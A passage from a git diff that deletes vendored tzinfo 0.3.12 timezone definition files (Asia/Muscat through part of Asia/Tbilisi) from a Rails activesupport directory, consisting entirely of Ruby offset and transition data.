-          tz.transition 1986, 3, :o3, 512492400
-          tz.transition 1986, 9, :o2, 528217200
-          tz.transition 1987, 3, :o3, 543942000
-          tz.transition 1987, 9, :o2, 559666800
-          tz.transition 1988, 3, :o3, 575391600
-          tz.transition 1988, 9, :o2, 591116400
-          tz.transition 1989, 3, :o3, 606841200
-          tz.transition 1989, 9, :o2, 622566000
-          tz.transition 1990, 3, :o3, 638290800
-          tz.transition 1990, 9, :o2, 654620400
-          tz.transition 1991, 3, :o4, 670345200
-          tz.transition 1991, 9, :o1, 686073600
-          tz.transition 1992, 1, :o2, 695750400
-          tz.transition 1992, 3, :o3, 701784000
-          tz.transition 1992, 9, :o2, 717505200
-          tz.transition 1993, 3, :o3, 733244400
-          tz.transition 1993, 9, :o2, 748969200
-          tz.transition 1994, 3, :o3, 764694000
-          tz.transition 1994, 9, :o2, 780418800
-          tz.transition 1995, 3, :o3, 796143600
-          tz.transition 1995, 9, :o2, 811868400
-          tz.transition 1996, 3, :o3, 828198000
-          tz.transition 1996, 10, :o2, 846342000
-          tz.transition 1997, 3, :o3, 859647600
-          tz.transition 1997, 10, :o2, 877791600
-          tz.transition 1998, 3, :o3, 891097200
-          tz.transition 1998, 10, :o2, 909241200
-          tz.transition 1999, 3, :o3, 922546800
-          tz.transition 1999, 10, :o2, 941295600
-          tz.transition 2000, 3, :o3, 953996400
-          tz.transition 2000, 10, :o2, 972745200
-          tz.transition 2001, 3, :o3, 985446000
-          tz.transition 2001, 10, :o2, 1004194800
-          tz.transition 2002, 3, :o3, 1017500400
-          tz.transition 2002, 10, :o2, 1035644400
-          tz.transition 2003, 3, :o3, 1048950000
-          tz.transition 2003, 10, :o2, 1067094000
-          tz.transition 2004, 3, :o3, 1080399600
-          tz.transition 2004, 10, :o2, 1099148400
-          tz.transition 2005, 3, :o3, 1111849200
-          tz.transition 2005, 10, :o2, 1130598000
-          tz.transition 2006, 3, :o3, 1143298800
-          tz.transition 2006, 10, :o2, 1162047600
-          tz.transition 2007, 3, :o3, 1174748400
-          tz.transition 2007, 10, :o2, 1193497200
-          tz.transition 2008, 3, :o3, 1206802800
-          tz.transition 2008, 10, :o2, 1224946800
-          tz.transition 2009, 3, :o3, 1238252400
-          tz.transition 2009, 10, :o2, 1256396400
-          tz.transition 2010, 3, :o3, 1269702000
-          tz.transition 2010, 10, :o2, 1288450800
-          tz.transition 2011, 3, :o3, 1301151600
-          tz.transition 2011, 10, :o2, 1319900400
-          tz.transition 2012, 3, :o3, 1332601200
-          tz.transition 2012, 10, :o2, 1351350000
-          tz.transition 2013, 3, :o3, 1364655600
-          tz.transition 2013, 10, :o2, 1382799600
-          tz.transition 2014, 3, :o3, 1396105200
-          tz.transition 2014, 10, :o2, 1414249200
-          tz.transition 2015, 3, :o3, 1427554800
-          tz.transition 2015, 10, :o2, 1445698800
-          tz.transition 2016, 3, :o3, 1459004400
-          tz.transition 2016, 10, :o2, 1477753200
-          tz.transition 2017, 3, :o3, 1490454000
-          tz.transition 2017, 10, :o2, 1509202800
-          tz.transition 2018, 3, :o3, 1521903600
-          tz.transition 2018, 10, :o2, 1540652400
-          tz.transition 2019, 3, :o3, 1553958000
-          tz.transition 2019, 10, :o2, 1572102000
-          tz.transition 2020, 3, :o3, 1585407600
-          tz.transition 2020, 10, :o2, 1603551600
-          tz.transition 2021, 3, :o3, 1616857200
-          tz.transition 2021, 10, :o2, 1635606000
-          tz.transition 2022, 3, :o3, 1648306800
-          tz.transition 2022, 10, :o2, 1667055600
-          tz.transition 2023, 3, :o3, 1679756400
-          tz.transition 2023, 10, :o2, 1698505200
-          tz.transition 2024, 3, :o3, 1711810800
-          tz.transition 2024, 10, :o2, 1729954800
-          tz.transition 2025, 3, :o3, 1743260400
-          tz.transition 2025, 10, :o2, 1761404400
-          tz.transition 2026, 3, :o3, 1774710000
-          tz.transition 2026, 10, :o2, 1792854000
-          tz.transition 2027, 3, :o3, 1806159600
-          tz.transition 2027, 10, :o2, 1824908400
-          tz.transition 2028, 3, :o3, 1837609200
-          tz.transition 2028, 10, :o2, 1856358000
-          tz.transition 2029, 3, :o3, 1869058800
-          tz.transition 2029, 10, :o2, 1887807600
-          tz.transition 2030, 3, :o3, 1901113200
-          tz.transition 2030, 10, :o2, 1919257200
-          tz.transition 2031, 3, :o3, 1932562800
-          tz.transition 2031, 10, :o2, 1950706800
-          tz.transition 2032, 3, :o3, 1964012400
-          tz.transition 2032, 10, :o2, 1982761200
-          tz.transition 2033, 3, :o3, 1995462000
-          tz.transition 2033, 10, :o2, 2014210800
-          tz.transition 2034, 3, :o3, 2026911600
-          tz.transition 2034, 10, :o2, 2045660400
-          tz.transition 2035, 3, :o3, 2058361200
-          tz.transition 2035, 10, :o2, 2077110000
-          tz.transition 2036, 3, :o3, 2090415600
-          tz.transition 2036, 10, :o2, 2108559600
-          tz.transition 2037, 3, :o3, 2121865200
-          tz.transition 2037, 10, :o2, 2140009200
-          tz.transition 2038, 3, :o3, 19724081, 8
-          tz.transition 2038, 10, :o2, 19725817, 8
-          tz.transition 2039, 3, :o3, 19726993, 8
-          tz.transition 2039, 10, :o2, 19728729, 8
-          tz.transition 2040, 3, :o3, 19729905, 8
-          tz.transition 2040, 10, :o2, 19731641, 8
-          tz.transition 2041, 3, :o3, 19732873, 8
-          tz.transition 2041, 10, :o2, 19734553, 8
-          tz.transition 2042, 3, :o3, 19735785, 8
-          tz.transition 2042, 10, :o2, 19737465, 8
-          tz.transition 2043, 3, :o3, 19738697, 8
-          tz.transition 2043, 10, :o2, 19740377, 8
-          tz.transition 2044, 3, :o3, 19741609, 8
-          tz.transition 2044, 10, :o2, 19743345, 8
-          tz.transition 2045, 3, :o3, 19744521, 8
-          tz.transition 2045, 10, :o2, 19746257, 8
-          tz.transition 2046, 3, :o3, 19747433, 8
-          tz.transition 2046, 10, :o2, 19749169, 8
-          tz.transition 2047, 3, :o3, 19750401, 8
-          tz.transition 2047, 10, :o2, 19752081, 8
-          tz.transition 2048, 3, :o3, 19753313, 8
-          tz.transition 2048, 10, :o2, 19754993, 8
-          tz.transition 2049, 3, :o3, 19756225, 8
-          tz.transition 2049, 10, :o2, 19757961, 8
-          tz.transition 2050, 3, :o3, 19759137, 8
-          tz.transition 2050, 10, :o2, 19760873, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb
deleted file mode 100644
index 604f651d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Muscat
-        include TimezoneDefinition
-        
-        timezone 'Asia/Muscat' do |tz|
-          tz.offset :o0, 14060, 0, :LMT
-          tz.offset :o1, 14400, 0, :GST
-          
-          tz.transition 1919, 12, :o1, 10464441137, 4320
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb
deleted file mode 100644
index a4e7796e..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb
+++ /dev/null
@@ -1,164 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Novosibirsk
-        include TimezoneDefinition
-        
-        timezone 'Asia/Novosibirsk' do |tz|
-          tz.offset :o0, 19900, 0, :LMT
-          tz.offset :o1, 21600, 0, :NOVT
-          tz.offset :o2, 25200, 0, :NOVT
-          tz.offset :o3, 25200, 3600, :NOVST
-          tz.offset :o4, 21600, 3600, :NOVST
-          
-          tz.transition 1919, 12, :o1, 2092872833, 864
-          tz.transition 1930, 6, :o2, 9704593, 4
-          tz.transition 1981, 3, :o3, 354906000
-          tz.transition 1981, 9, :o2, 370713600
-          tz.transition 1982, 3, :o3, 386442000
-          tz.transition 1982, 9, :o2, 402249600
-          tz.transition 1983, 3, :o3, 417978000
-          tz.transition 1983, 9, :o2, 433785600
-          tz.transition 1984, 3, :o3, 449600400
-          tz.transition 1984, 9, :o2, 465332400
-          tz.transition 1985, 3, :o3, 481057200
-          tz.transition 1985, 9, :o2, 496782000
-          tz.transition 1986, 3, :o3, 512506800
-          tz.transition 1986, 9, :o2, 528231600
-          tz.transition 1987, 3, :o3, 543956400
-          tz.transition 1987, 9, :o2, 559681200
-          tz.transition 1988, 3, :o3, 575406000
-          tz.transition 1988, 9, :o2, 591130800
-          tz.transition 1989, 3, :o3, 606855600
-          tz.transition 1989, 9, :o2, 622580400
-          tz.transition 1990, 3, :o3, 638305200
-          tz.transition 1990, 9, :o2, 654634800
-          tz.transition 1991, 3, :o4, 670359600
-          tz.transition 1991, 9, :o1, 686088000
-          tz.transition 1992, 1, :o2, 695764800
-          tz.transition 1992, 3, :o3, 701798400
-          tz.transition 1992, 9, :o2, 717519600
-          tz.transition 1993, 3, :o3, 733258800
-          tz.transition 1993, 5, :o4, 738086400
-          tz.transition 1993, 9, :o1, 748987200
-          tz.transition 1994, 3, :o4, 764712000
-          tz.transition 1994, 9, :o1, 780436800
-          tz.transition 1995, 3, :o4, 796161600
-          tz.transition 1995, 9, :o1, 811886400
-          tz.transition 1996, 3, :o4, 828216000
-          tz.transition 1996, 10, :o1, 846360000
-          tz.transition 1997, 3, :o4, 859665600
-          tz.transition 1997, 10, :o1, 877809600
-          tz.transition 1998, 3, :o4, 891115200
-          tz.transition 1998, 10, :o1, 909259200
-          tz.transition 1999, 3, :o4, 922564800
-          tz.transition 1999, 10, :o1, 941313600
-          tz.transition 2000, 3, :o4, 954014400
-          tz.transition 2000, 10, :o1, 972763200
-          tz.transition 2001, 3, :o4, 985464000
-          tz.transition 2001, 10, :o1, 1004212800
-          tz.transition 2002, 3, :o4, 1017518400
-          tz.transition 2002, 10, :o1, 1035662400
-          tz.transition 2003, 3, :o4, 1048968000
-          tz.transition 2003, 10, :o1, 1067112000
-          tz.transition 2004, 3, :o4, 1080417600
-          tz.transition 2004, 10, :o1, 1099166400
-          tz.transition 2005, 3, :o4, 1111867200
-          tz.transition 2005, 10, :o1, 1130616000
-          tz.transition 2006, 3, :o4, 1143316800
-          tz.transition 2006, 10, :o1, 1162065600
-          tz.transition 2007, 3, :o4, 1174766400
-          tz.transition 2007, 10, :o1, 1193515200
-          tz.transition 2008, 3, :o4, 1206820800
-          tz.transition 2008, 10, :o1, 1224964800
-          tz.transition 2009, 3, :o4, 1238270400
-          tz.transition 2009, 10, :o1, 1256414400
-          tz.transition 2010, 3, :o4, 1269720000
-          tz.transition 2010, 10, :o1, 1288468800
-          tz.transition 2011, 3, :o4, 1301169600
-          tz.transition 2011, 10, :o1, 1319918400
-          tz.transition 2012, 3, :o4, 1332619200
-          tz.transition 2012, 10, :o1, 1351368000
-          tz.transition 2013, 3, :o4, 1364673600
-          tz.transition 2013, 10, :o1, 1382817600
-          tz.transition 2014, 3, :o4, 1396123200
-          tz.transition 2014, 10, :o1, 1414267200
-          tz.transition 2015, 3, :o4, 1427572800
-          tz.transition 2015, 10, :o1, 1445716800
-          tz.transition 2016, 3, :o4, 1459022400
-          tz.transition 2016, 10, :o1, 1477771200
-          tz.transition 2017, 3, :o4, 1490472000
-          tz.transition 2017, 10, :o1, 1509220800
-          tz.transition 2018, 3, :o4, 1521921600
-          tz.transition 2018, 10, :o1, 1540670400
-          tz.transition 2019, 3, :o4, 1553976000
-          tz.transition 2019, 10, :o1, 1572120000
-          tz.transition 2020, 3, :o4, 1585425600
-          tz.transition 2020, 10, :o1, 1603569600
-          tz.transition 2021, 3, :o4, 1616875200
-          tz.transition 2021, 10, :o1, 1635624000
-          tz.transition 2022, 3, :o4, 1648324800
-          tz.transition 2022, 10, :o1, 1667073600
-          tz.transition 2023, 3, :o4, 1679774400
-          tz.transition 2023, 10, :o1, 1698523200
-          tz.transition 2024, 3, :o4, 1711828800
-          tz.transition 2024, 10, :o1, 1729972800
-          tz.transition 2025, 3, :o4, 1743278400
-          tz.transition 2025, 10, :o1, 1761422400
-          tz.transition 2026, 3, :o4, 1774728000
-          tz.transition 2026, 10, :o1, 1792872000
-          tz.transition 2027, 3, :o4, 1806177600
-          tz.transition 2027, 10, :o1, 1824926400
-          tz.transition 2028, 3, :o4, 1837627200
-          tz.transition 2028, 10, :o1, 1856376000
-          tz.transition 2029, 3, :o4, 1869076800
-          tz.transition 2029, 10, :o1, 1887825600
-          tz.transition 2030, 3, :o4, 1901131200
-          tz.transition 2030, 10, :o1, 1919275200
-          tz.transition 2031, 3, :o4, 1932580800
-          tz.transition 2031, 10, :o1, 1950724800
-          tz.transition 2032, 3, :o4, 1964030400
-          tz.transition 2032, 10, :o1, 1982779200
-          tz.transition 2033, 3, :o4, 1995480000
-          tz.transition 2033, 10, :o1, 2014228800
-          tz.transition 2034, 3, :o4, 2026929600
-          tz.transition 2034, 10, :o1, 2045678400
-          tz.transition 2035, 3, :o4, 2058379200
-          tz.transition 2035, 10, :o1, 2077128000
-          tz.transition 2036, 3, :o4, 2090433600
-          tz.transition 2036, 10, :o1, 2108577600
-          tz.transition 2037, 3, :o4, 2121883200
-          tz.transition 2037, 10, :o1, 2140027200
-          tz.transition 2038, 3, :o4, 7396531, 3
-          tz.transition 2038, 10, :o1, 7397182, 3
-          tz.transition 2039, 3, :o4, 7397623, 3
-          tz.transition 2039, 10, :o1, 7398274, 3
-          tz.transition 2040, 3, :o4, 7398715, 3
-          tz.transition 2040, 10, :o1, 7399366, 3
-          tz.transition 2041, 3, :o4, 7399828, 3
-          tz.transition 2041, 10, :o1, 7400458, 3
-          tz.transition 2042, 3, :o4, 7400920, 3
-          tz.transition 2042, 10, :o1, 7401550, 3
-          tz.transition 2043, 3, :o4, 7402012, 3
-          tz.transition 2043, 10, :o1, 7402642, 3
-          tz.transition 2044, 3, :o4, 7403104, 3
-          tz.transition 2044, 10, :o1, 7403755, 3
-          tz.transition 2045, 3, :o4, 7404196, 3
-          tz.transition 2045, 10, :o1, 7404847, 3
-          tz.transition 2046, 3, :o4, 7405288, 3
-          tz.transition 2046, 10, :o1, 7405939, 3
-          tz.transition 2047, 3, :o4, 7406401, 3
-          tz.transition 2047, 10, :o1, 7407031, 3
-          tz.transition 2048, 3, :o4, 7407493, 3
-          tz.transition 2048, 10, :o1, 7408123, 3
-          tz.transition 2049, 3, :o4, 7408585, 3
-          tz.transition 2049, 10, :o1, 7409236, 3
-          tz.transition 2050, 3, :o4, 7409677, 3
-          tz.transition 2050, 10, :o1, 7410328, 3
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb
deleted file mode 100644
index 759b82d7..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Rangoon
-        include TimezoneDefinition
-        
-        timezone 'Asia/Rangoon' do |tz|
-          tz.offset :o0, 23080, 0, :LMT
-          tz.offset :o1, 23076, 0, :RMT
-          tz.offset :o2, 23400, 0, :BURT
-          tz.offset :o3, 32400, 0, :JST
-          tz.offset :o4, 23400, 0, :MMT
-          
-          tz.transition 1879, 12, :o1, 5200664903, 2160
-          tz.transition 1919, 12, :o2, 5813578159, 2400
-          tz.transition 1942, 4, :o3, 116663051, 48
-          tz.transition 1945, 5, :o4, 19452625, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb
deleted file mode 100644
index 7add4106..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Riyadh
-        include TimezoneDefinition
-        
-        timezone 'Asia/Riyadh' do |tz|
-          tz.offset :o0, 11212, 0, :LMT
-          tz.offset :o1, 10800, 0, :AST
-          
-          tz.transition 1949, 12, :o1, 52558899197, 21600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb
deleted file mode 100644
index 795d2a75..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Seoul
-        include TimezoneDefinition
-        
-        timezone 'Asia/Seoul' do |tz|
-          tz.offset :o0, 30472, 0, :LMT
-          tz.offset :o1, 30600, 0, :KST
-          tz.offset :o2, 32400, 0, :KST
-          tz.offset :o3, 28800, 0, :KST
-          tz.offset :o4, 28800, 3600, :KDT
-          tz.offset :o5, 32400, 3600, :KDT
-          
-          tz.transition 1889, 12, :o1, 26042775991, 10800
-          tz.transition 1904, 11, :o2, 116007127, 48
-          tz.transition 1927, 12, :o1, 19401969, 8
-          tz.transition 1931, 12, :o2, 116481943, 48
-          tz.transition 1954, 3, :o3, 19478577, 8
-          tz.transition 1960, 5, :o4, 14622415, 6
-          tz.transition 1960, 9, :o3, 19497521, 8
-          tz.transition 1961, 8, :o1, 14625127, 6
-          tz.transition 1968, 9, :o2, 117126247, 48
-          tz.transition 1987, 5, :o5, 547570800
-          tz.transition 1987, 10, :o2, 560872800
-          tz.transition 1988, 5, :o5, 579020400
-          tz.transition 1988, 10, :o2, 592322400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb
deleted file mode 100644
index 34b13d59..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Shanghai
-        include TimezoneDefinition
-        
-        timezone 'Asia/Shanghai' do |tz|
-          tz.offset :o0, 29152, 0, :LMT
-          tz.offset :o1, 28800, 0, :CST
-          tz.offset :o2, 28800, 3600, :CDT
-          
-          tz.transition 1927, 12, :o1, 6548164639, 2700
-          tz.transition 1940, 6, :o2, 14578699, 6
-          tz.transition 1940, 9, :o1, 19439225, 8
-          tz.transition 1941, 3, :o2, 14580415, 6
-          tz.transition 1941, 9, :o1, 19442145, 8
-          tz.transition 1986, 5, :o2, 515520000
-          tz.transition 1986, 9, :o1, 527007600
-          tz.transition 1987, 4, :o2, 545155200
-          tz.transition 1987, 9, :o1, 558457200
-          tz.transition 1988, 4, :o2, 576604800
-          tz.transition 1988, 9, :o1, 589906800
-          tz.transition 1989, 4, :o2, 608659200
-          tz.transition 1989, 9, :o1, 621961200
-          tz.transition 1990, 4, :o2, 640108800
-          tz.transition 1990, 9, :o1, 653410800
-          tz.transition 1991, 4, :o2, 671558400
-          tz.transition 1991, 9, :o1, 684860400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb
deleted file mode 100644
index b323a78f..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Singapore
-        include TimezoneDefinition
-        
-        timezone 'Asia/Singapore' do |tz|
-          tz.offset :o0, 24925, 0, :LMT
-          tz.offset :o1, 24925, 0, :SMT
-          tz.offset :o2, 25200, 0, :MALT
-          tz.offset :o3, 25200, 1200, :MALST
-          tz.offset :o4, 26400, 0, :MALT
-          tz.offset :o5, 27000, 0, :MALT
-          tz.offset :o6, 32400, 0, :JST
-          tz.offset :o7, 27000, 0, :SGT
-          tz.offset :o8, 28800, 0, :SGT
-          
-          tz.transition 1900, 12, :o1, 8347571291, 3456
-          tz.transition 1905, 5, :o2, 8353142363, 3456
-          tz.transition 1932, 12, :o3, 58249757, 24
-          tz.transition 1935, 12, :o4, 87414055, 36
-          tz.transition 1941, 8, :o5, 87488575, 36
-          tz.transition 1942, 2, :o6, 38886499, 16
-          tz.transition 1945, 9, :o5, 19453681, 8
-          tz.transition 1965, 8, :o7, 39023699, 16
-          tz.transition 1981, 12, :o8, 378664200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb
deleted file mode 100644
index 3ba12108..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Taipei
-        include TimezoneDefinition
-        
-        timezone 'Asia/Taipei' do |tz|
-          tz.offset :o0, 29160, 0, :LMT
-          tz.offset :o1, 28800, 0, :CST
-          tz.offset :o2, 28800, 3600, :CDT
-          
-          tz.transition 1895, 12, :o1, 193084733, 80
-          tz.transition 1945, 4, :o2, 14589457, 6
-          tz.transition 1945, 9, :o1, 19453833, 8
-          tz.transition 1946, 4, :o2, 14591647, 6
-          tz.transition 1946, 9, :o1, 19456753, 8
-          tz.transition 1947, 4, :o2, 14593837, 6
-          tz.transition 1947, 9, :o1, 19459673, 8
-          tz.transition 1948, 4, :o2, 14596033, 6
-          tz.transition 1948, 9, :o1, 19462601, 8
-          tz.transition 1949, 4, :o2, 14598223, 6
-          tz.transition 1949, 9, :o1, 19465521, 8
-          tz.transition 1950, 4, :o2, 14600413, 6
-          tz.transition 1950, 9, :o1, 19468441, 8
-          tz.transition 1951, 4, :o2, 14602603, 6
-          tz.transition 1951, 9, :o1, 19471361, 8
-          tz.transition 1952, 2, :o2, 14604433, 6
-          tz.transition 1952, 10, :o1, 19474537, 8
-          tz.transition 1953, 3, :o2, 14606809, 6
-          tz.transition 1953, 10, :o1, 19477457, 8
-          tz.transition 1954, 3, :o2, 14608999, 6
-          tz.transition 1954, 10, :o1, 19480377, 8
-          tz.transition 1955, 3, :o2, 14611189, 6
-          tz.transition 1955, 9, :o1, 19483049, 8
-          tz.transition 1956, 3, :o2, 14613385, 6
-          tz.transition 1956, 9, :o1, 19485977, 8
-          tz.transition 1957, 3, :o2, 14615575, 6
-          tz.transition 1957, 9, :o1, 19488897, 8
-          tz.transition 1958, 3, :o2, 14617765, 6
-          tz.transition 1958, 9, :o1, 19491817, 8
-          tz.transition 1959, 3, :o2, 14619955, 6
-          tz.transition 1959, 9, :o1, 19494737, 8
-          tz.transition 1960, 5, :o2, 14622517, 6
-          tz.transition 1960, 9, :o1, 19497665, 8
-          tz.transition 1961, 5, :o2, 14624707, 6
-          tz.transition 1961, 9, :o1, 19500585, 8
-          tz.transition 1974, 3, :o2, 133977600
-          tz.transition 1974, 9, :o1, 149785200
-          tz.transition 1975, 3, :o2, 165513600
-          tz.transition 1975, 9, :o1, 181321200
-          tz.transition 1980, 6, :o2, 331142400
-          tz.transition 1980, 9, :o1, 339087600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb
deleted file mode 100644
index c205c793..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Tashkent
-        include TimezoneDefinition
-        
-        timezone 'Asia/Tashkent' do |tz|
-          tz.offset :o0, 16632, 0, :LMT
-          tz.offset :o1, 18000, 0, :TAST
-          tz.offset :o2, 21600, 0, :TAST
-          tz.offset :o3, 21600, 3600, :TASST
-          tz.offset :o4, 18000, 3600, :TASST
-          tz.offset :o5, 18000, 3600, :UZST
-          tz.offset :o6, 18000, 0, :UZT
-          
-          tz.transition 1924, 5, :o1, 969562923, 400
-          tz.transition 1930, 6, :o2, 58227559, 24
-          tz.transition 1981, 3, :o3, 354909600
-          tz.transition 1981, 9, :o2, 370717200
-          tz.transition 1982, 3, :o3, 386445600
-          tz.transition 1982, 9, :o2, 402253200
-          tz.transition 1983, 3, :o3, 417981600
-          tz.transition 1983, 9, :o2, 433789200
-          tz.transition 1984, 3, :o3, 449604000
-          tz.transition 1984, 9, :o2, 465336000
-          tz.transition 1985, 3, :o3, 481060800
-          tz.transition 1985, 9, :o2, 496785600
-          tz.transition 1986, 3, :o3, 512510400
-          tz.transition 1986, 9, :o2, 528235200
-          tz.transition 1987, 3, :o3, 543960000
-          tz.transition 1987, 9, :o2, 559684800
-          tz.transition 1988, 3, :o3, 575409600
-          tz.transition 1988, 9, :o2, 591134400
-          tz.transition 1989, 3, :o3, 606859200
-          tz.transition 1989, 9, :o2, 622584000
-          tz.transition 1990, 3, :o3, 638308800
-          tz.transition 1990, 9, :o2, 654638400
-          tz.transition 1991, 3, :o4, 670363200
-          tz.transition 1991, 8, :o5, 683661600
-          tz.transition 1991, 9, :o6, 686091600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb
deleted file mode 100644
index 15792a56..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Tbilisi
-        include TimezoneDefinition
-        
-        timezone 'Asia/Tbilisi' do |tz|
-          tz.offset :o0, 10756, 0, :LMT
-          tz.offset :o1, 10756, 0, :TBMT
-          tz.offset :o2, 10800, 0, :TBIT
-          tz.offset :o3, 14400, 0, :TBIT
-          tz.offset :o4, 14400, 3600, :TBIST
-          tz.offset :o5, 10800, 3600, :TBIST
-          tz.offset :o6, 10800, 3600, :GEST
-          tz.offset :o7, 10800, 0, :GET
-          tz.offset :o8, 14400, 0, :GET
-          tz.offset :o9, 14400, 3600, :GEST
-          
-          tz.transition 1879, 12, :o1, 52006652111, 21600
-          tz.transition 1924, 5, :o2, 52356399311, 21600
-          tz.transition 1957, 2, :o3, 19487187, 8
-          tz.transition 1981, 3, :o4, 354916800
-          tz.transition 1981, 9, :o3, 370724400
-          tz.transition 1982, 3, :o4, 386452800
-          tz.transition 1982, 9, :o3, 402260400
-          tz.transition 1983, 3, :o4, 417988800
-          tz.transition 1983, 9, :o3, 433796400
-          tz.transition 1984, 3, :o4, 449611200
-          tz.transition 1984, 9, :o3, 465343200
-          tz.transition 1985, 3, :o4, 481068000
-          tz.transition 1985, 9, :o3, 496792800
-          tz.transition 1986, 3, :o4, 512517600
-          tz.transition 1986, 9, :o3, 528242400
-          tz.transition 1987, 3, :o4, 543967200
-          tz.transition 1987, 9, :o3, 559692000
-          tz.transition 1988, 3, :o4, 575416800
-          tz.transition 1988, 9, :o3, 591141600
-          tz.transition 1989, 3, :o4, 606866400
-          tz.transition 1989, 9, :o3, 622591200
-          tz.transition 1990, 3, :o4, 638316000
-          tz.transition 1990, 9, :o3, 654645600
-          tz.transition 1991, 3, :o5, 670370400
-          tz.transition 1991, 4, :o6, 671140800
-          tz.transition 1991, 9, :o7, 686098800
-          tz.transition 1992, 3, :o6, 701816400
-          tz.transition 1992, 9, :o7, 717537600
-          tz.transition 1993, 3, :o6, 733266000
-          tz.transition 1993, 9, :o7, 748987200
-          tz.transition 1994, 3, :o6, 764715600
-          tz.transition 1994, 9, :o8, 780436800
-          tz.transition 1995, 3, :o9, 796161600
-          tz.transition 1995, 9, :o8, 811882800
-          tz.transition 1996, 3, :o9, 828216000
-          tz.transition 1997, 3, :o9, 859662000
-          tz.transition 1997, 10, :o8, 877806000
-          tz.transition 1998, 3, :o9, 891115200
-          tz.transition 1998, 10, :o8, 909255600
-          tz.transition 1999, 3, :o9, 922564800
